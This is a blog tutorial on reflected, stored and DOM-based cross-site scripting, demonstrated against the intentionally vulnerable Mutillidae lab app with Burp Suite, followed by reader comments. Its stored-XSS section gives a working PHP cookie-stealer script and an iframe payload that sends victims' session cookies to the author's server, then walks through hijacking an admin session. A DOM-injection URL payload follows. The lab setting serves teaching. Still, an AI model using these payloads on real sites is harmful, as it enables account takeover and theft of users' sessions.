March 05, 2019

OWASP Cross Site Scripting (Reflected, Stored, DOM)



Cross Site Scripting (XXS)
To know about Cross Site Scripting (XSS) you have to understand The SOP (Same Origin Policy). It defines websites from different origin cannot access each other content. For example, any random website cannot read the data of your Twitter or Facebook webpage while you are logged in.
Let’s say www.example.com/home.html can access the content from   www.example.com/about.html but www.hacker.com cannot access the content from www.example.com/about.htm.

What is Cross Site Scripting?
Cross Site Scripting or XSS can bypass the concept of SOP. When an HTML content of a webpage loads dynamically and the attacker can inject his own HTML code inside the dynamic code. Still, the web browser will display the attacker content as it is appropriate to the website where the code is injected.
In such scenario attacker cab run JavaScript code inside that web page. By doing that attacker can easily get the session cookie or CSRF token. Using the cookie an attacker can log in to the victim's account by using his own browser. If that is not possible still the attacker can have access to the private content of the web page using CSRF token and send the web request on behalf of the user.

Different types of Cross Site Scripting vulnerability
There are mainly three types of Cross-site scripting vulnerabilities available. These are Stored, Reflected and DOM based.

-          Stored Cross Site Scripting vulnerability:
The Stored XSS vulnerability takes place when the payload stores in the website database and the victim visit the website and the payload will execute. This vulnerability is taken as very dangerous because it remains undetectable from browser’s XXS protection filter and also the victim might accidentally load the payload from the affected page.

-          Reflected Cross Site Scripting Vulnerability:
The Reflected XSS vulnerability is nothing but taking the user input from a URL or a POST request data that reflected on the page without being stored. In this case, the attacker sends the victim a crafted URL link or POST data form with a payload. For the execution of payload, the victim should click the link.

-          DOM Based Cross Site Scripting Vulnerability:
The DOM-based XSS simply defines a Cross-site vulnerability using Document Object Model (DOM). In Stored or Reflected based XSS vulnerabilities the Payload executes with the response page. But DOM will not change the HTML code for request and response both. You can’t find the XSS code in the response page. It can only be observed during the runtime of the page or while investigating the DOM of the page.

Let’s do it practically to understand how it happens.


Reflected XXS

Open Multillidae vulnerable web application and configure the browser with Burp suit.

Now go to OWASP 2017 > A7 Cross Site Scripting (XSS) > Reflected > DNS Lookup


 

The functionality is whenever you put any IP or hostname, it will give you the relevant DNS information about the same.

Let’s try and it sees how does it vulnerable to reflected XSS. For doing so we will give a name ‘Bob’ as input and see the webpage reaction as output.

Before entering Bob in the text field and click on the Lookup DNS make sure the Burp suit’s interception is on.




After click on Lookup DNS come to Burp suit.









Here we can see the target_host parameter captured in the request. But from where the target_host comes from? This parameter belongs to the text field in HTML code. See the below screenshot for better understanding.



Now let’s see the response from the Burp suit and understand where it reflects in the HTML code. Before that, we have to enable the intercept for response in burp suit.





Then come back to intercept Tab and click on Action to send the request to the server. It will take a few seconds to process and then you will get the response.


So this is understood that the page is reflected by the input was given. Now let’s try to attack using reflected XSS vulnerability.

After closing burp suit come back to the browser again and open the DNS Lookup page and give the below input and click on Lookup DNS.

<script>alert(document.cookie)</script>
  

The page will be supposed to give us the cookie value currently stored in the PHP Session variable.




Bingo!! We have got the cookie value in the popup window. For seeing the reflected code we can go and see inside the inspect element.



By the above screenshot, it is clear the script was reflected inside the HTML code and give us the output from the server.







Stored/Persistent XXS

In this lesson we will apply a persistent XXS of the website and using that we will steal the cookie and gain the admin privilege. Let’s start with creating the cookie stealing script and uploading it to my own web server.

File name: Cookie-stealer.php

<?php
header ("Location: http://192.168.1.7"); //Change it to your webserver address
$cookie = $_GET['c'];
$ip = getenv ('REMOTE_ADDR');
$date=date("j F, Y, g:i a");;
$referer=getenv ('HTTP_REFERER');
$fp = fopen('cookies.html', 'a');
fwrite($fp, 'Cookie: '.$cookie.'<br> IP: ' .$ip. '<br> Date and Time: ' .$date. '<br> Referer: '.$referer.'<br><br><br>');
fclose($fp);
?>

Basically after the execution of this script it will steal all the details like the cookie id, user ip, data, time, and referrer and redirect it to 192.168.1.7(your web server address) and write it inside cookies.html file.

Now upload the file to your webserver. In my case I have used my local apache web-server. You can also create one using XAMP. For more details about how to run apache webserver in your local machine please check my previous SQL Injection blog.

Now I will open the website and make a blog entry as an anonymous user


22)      Enter the following HTML code and post it.


Code:

<html>
<body>
<b> wanteddev</b>
<u>click me</u>
<iframe frameboarder=0 height=0 width=0 src=javascript:void(document.location="http://192.168.1.7/Cookie_stealer.php?c="+document.cookie)> </iframe >
</body>
</html>


 Click on Save Blog Entry and your input will be visible at the bottom.


Now I will log in as admin and view this blog post from another system. Let’s see if the script can capture the user cookie data or not. 


After that let’s move to the previous system and open the cookie.html file to see the captured session ID.


We can see the session ID has been successfully captured, just copy it and open the browser to open the website again in a new window.




 
According to the above screenshot, we can see the user is not logged in. Now open your cookie manager and paste the copied session id from the previous system in the place of the current one.




Now save the session id, reload the webpage again and see the result.


Congratulation friends!! Now we have successfully gained the admin privilege.


DOM-based XXS

Go to OWASP 2017 > A7 – Cross Site Scripting > DOM – Based > Password Generator


In the URL section at the end add

><script>alert(document.cookie)</script> and press enter to see the cookie popup.
But we got something else.







Seems a bug exists in javascript exception handling code. We can use this vulnerability to get the cookie details. But in that case we have to modify the code what we have been sent so far.

Let's try this in the URL and press enter.

http://172.16.2.172/mutillidae/index.php?page=password-generator.php&username=a”;}catch(e){}alert(document.cookie);try{a=”








Finally, we got the Session ID pop up on our browser window.

Please find how we have used the background exception logic for the above URL.

Try { username=”a”;}catch(e){}alert(document.cookie);try{a=””;}catch(e) { alert("Error: " + e.message); }

I hope you have enjoyed the entire XXS article, however, you still have any doubt please write it down in the below comment section I will try my best to response back. Thank you and Happy Hacking!!



10 comments:

  1. Replies
    1. Hello all,
      I am new in this business. I run my apache web-server using XAMP.
      When I run the php script ‘Cookie-stealer.php’ the following error occurred:
      PHP Warning: Undefined array key “c” in /var/www/html/Cookie-stealer.php on line 3

      When I open the cookie.html file to see the captured session ID it’s empty :-(

      Has someone maybe the solution?

      Delete
  2. Your blog has very useful information about this topic which i am looking now, i am eagerly waiting to see your next post as soon
    salesforce Training in Bangalore
    uipath Training in Bangalore
    blueprism Training in Bangalore

    ReplyDelete
  3. Your blog has very useful information about this topic which i am looking now, i am eagerly waiting to see your next post as soon

    salesforce Training in Bangalore
    uipath Training in Bangalore
    blueprism Training in Bangalore

    ReplyDelete
  4. This is very good content you share on this blog. it's very informative and provide me future related information
    AngularJS Course in Pune

    ReplyDelete